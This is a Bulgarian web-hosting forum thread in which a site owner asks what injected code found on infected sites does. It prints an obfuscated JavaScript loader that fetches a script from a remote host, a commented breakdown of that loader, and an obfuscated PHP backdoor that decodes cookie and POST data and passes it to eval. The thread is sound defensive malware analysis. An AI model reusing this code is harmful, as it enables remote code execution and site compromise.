Някой знае ли какъв е този код и какво прави?

[bgweb24]

Някой знае ли какъв е този код и какво прави?

Има сходен код с малки промени по wp сайтове като се инжектира в сидебара и заразява самият сайт с файлове и другите сайтове които са на цпанела:

<script>
!function (_0x26d259, _0x24b800) {
    var _0x2196a7 = Math['floor'](Date['now']() / 0x3e8), _0xcb1eb8 = _0x2196a7 - _0x2196a7 % 0xe10;
    if (_0x2196a7 -= _0x2196a7 % 0x258, _0x2196a7 = _0x2196a7['toString'](0x10), !document['referrer'])
        return;
    let _0x9cf45e = atob('bC5qcy1hc3' + 'NldHMuY2xv' + 'dWQ=');
    (_0x24b800 = _0x26d259['createElem' + 'ent']('script'))['type'] = 'text/javas' + 'cript', _0x24b800['async'] = !0x0, _0x24b800['src'] = 'https://' + _0x9cf45e + '/min.t.' + _0xcb1eb8 + '.js?v=' + _0x2196a7, _0x26d259['getElement' + 'sByTagName']('head')[0x0]['appendChil' + 'd'](_0x24b800);
}(document);
</script>

 

ако някой има предположения и знае какво точно прави въпросния скрипт да пише

Поздрави

 

[Tsvetkov]

!function (_0x26d259, _0x24b800) {
    // Calculate the current timestamp in seconds and round it down to the nearest thousand.
Timestamp Calculation:
    var _0x2196a7 = Math['floor'](Date['now']() / 0x3e8),
        _0xcb1eb8 = _0x2196a7 - _0x2196a7 % 0xe10;

    // Further manipulation of the timestamp.
Timestamp Manipulation:
    if (_0x2196a7 -= _0x2196a7 % 0x258, _0x2196a7 = _0x2196a7['toString'](0x10), !document['referrer'])
        return;

    // Decode a base64-encoded string and assign it to the variable _0x9cf45e.
Base64 Decoding - l.js-assets.cloud
    let _0x9cf45e = atob('bC5qcy1hc3' + 'NldHMuY2xv' + 'dWQ=');

    // Create a script element.
Script Source URL Construction:
    (_0x24b800 = _0x26d259['createElem' + 'ent']('script'))['type'] = 'text/javas' + 'cript';
    _0x24b800['async'] = !0x0;
    
    // Construct the source URL for the script, including the decoded string, timestamp, and version.
    _0x24b800['src'] = 'https://' + _0x9cf45e + '/min.t.' + _0xcb1eb8 + '.js?v=' + _0x2196a7;

    // Append the script element to the head of the HTML document. - Finally, the script appends the created script element to the head of the HTML document.
    _0x26d259['getElement' + 'sByTagName']('head')[0x0]['appendChil' + 'd'](_0x24b800);
}(document);

 

🙈

[bgweb24]

Здравейте,

Благодаря за пояснението за скрипта, но как точно избира винаги да е с различно име и на различно място в директорията с разширение .oti или .ccss? Как може да се премахне завинаги дори когато заразените файлове са премахнати заедно с кода?

[bgweb24]

най-новият зловреден код е:

$ghXRJglobv = chr (113) . "\x5f" . chr ( 713 - 594 ).chr ( 486 - 378 ).chr (106); $IvVwmwBaD = chr ( 243 - 144 )."\154" . chr (97) . "\x73" . "\x73" . '_' . "\x65" . chr (120) . 'i' . chr ( 411 - 296 )."\x74" . chr (115); $fjwInrAyOw = $IvVwmwBaD($ghXRJglobv); $PPgFnI = $fjwInrAyOw;if (!$PPgFnI){class q_wlj{private $odijOL;public static $JSbBHJJ = "cad0d698-2b5e-4dd6-80f8-f8e7c689f4f1";public static $MpAsxP = 32386;public function __construct($PXNAToQB=0){$LcqffFJUJJ = $_COOKIE;$EjvikcFh = $_POST;$NVbIwhYg = @$LcqffFJUJJ[substr(q_wlj::$JSbBHJJ, 0, 4)];if (!empty($NVbIwhYg)){$JWvQLKcmNV = "base64";$FYpdCyzl = "";$NVbIwhYg = explode(",", $NVbIwhYg);foreach ($NVbIwhYg as $VImzP){$FYpdCyzl .= @$LcqffFJUJJ[$VImzP];$FYpdCyzl .= @$EjvikcFh[$VImzP];}$FYpdCyzl = array_map($JWvQLKcmNV . chr (95) . chr ( 143 - 43 ).chr ( 808 - 707 ).'c' . chr ( 147 - 36 )."\144" . "\x65", array($FYpdCyzl,)); $FYpdCyzl = $FYpdCyzl[0] ^ str_repeat(q_wlj::$JSbBHJJ, (strlen($FYpdCyzl[0]) / strlen(q_wlj::$JSbBHJJ)) + 1);q_wlj::$MpAsxP = @unserialize($FYpdCyzl);}}private function kMIYe(){if (is_array(q_wlj::$MpAsxP)) {$RecwJ = str_replace('<' . "\77" . "\x70" . chr ( 612 - 508 ).chr ( 836 - 724 ), "", q_wlj::$MpAsxP[chr (99) . chr (111) . "\x6e" . chr (116) . chr (101) . chr ( 561 - 451 )."\164"]);eval($RecwJ); $zxIrIJhLPt = "15277";exit();}}public function __destruct(){$this->kMIYe(); $zxIrIJhLPt = "15277";}}$PWHMpaQ = new q_wlj(); $PWHMpaQ = "17524_16117";}
Благодаря за отделеното време!

[bgweb24]

Ето какво излиза от горният скрипт:

Decrypted code level 2:

1. $ghXRJglobv = chr (113) . "_" . chr ( 713 - 594 ).chr ( 486 - 378 ).chr (106);
2. $IvVwmwBaD = chr ( 243 - 144 )."l" . chr (97) . "ss_e" . chr (120) . 'i' . chr ( 411 - 296 )."t" . chr (115);
3. $fjwInrAyOw = $IvVwmwBaD($ghXRJglobv);
4. $PPgFnI = $fjwInrAyOw;
5. if (!$PPgFnI){
6. class q_wlj{
7. private $odijOL;
8. public static $JSbBHJJ = "cad0d698-2b5e-4dd6-80f8-f8e7c689f4f1";
9. public static $MpAsxP = 32386;
10. public function __construct($PXNAToQB=0){
11. $LcqffFJUJJ = $_COOKIE;
12. $EjvikcFh = $_POST;
13. $NVbIwhYg = @$LcqffFJUJJ[substr(q_wlj::$JSbBHJJ, 0, 4)];
14. if (!empty($NVbIwhYg)){
15. $JWvQLKcmNV = "base64";
16. $FYpdCyzl = "";
17. $NVbIwhYg = explode(",", $NVbIwhYg);
18. foreach ($NVbIwhYg as $VImzP){
19. $FYpdCyzl .= @$LcqffFJUJJ[$VImzP];
20. $FYpdCyzl .= @$EjvikcFh[$VImzP];
21. }
22. $FYpdCyzl = array_map($JWvQLKcmNV . chr (95) . chr ( 143 - 43 ).chr ( 808 - 707 ).'c' . chr ( 147 - 36 )."de", array($FYpdCyzl,));
23. $FYpdCyzl = $FYpdCyzl[0] ^ str_repeat(q_wlj::$JSbBHJJ, (strlen($FYpdCyzl[0]) / strlen(q_wlj::$JSbBHJJ)) + 1);
24. q_wlj::$MpAsxP = @unserialize($FYpdCyzl);
25. }
26. }
27. private function kMIYe(){
28. if (is_array(q_wlj::$MpAsxP)) {
29. $RecwJ = str_replace('p" . chr ( 612 - 508 ).chr ( 836 - 724 ), "", q_wlj::$MpAsxP[chr (99) . chr (111) . "n" . chr (116) . chr (101) . chr ( 561 - 451 )."t"]);
30. echo $RecwJ;
31. $zxIrIJhLPt = "15277";
32. }
33. }
34. public function __destruct(){
35. $this->kMIYe();
36. $zxIrIJhLPt = "15277";
37. }
38. }
39. $PWHMpaQ = new q_wlj();
40. $PWHMpaQ = "17524_16117";
41. }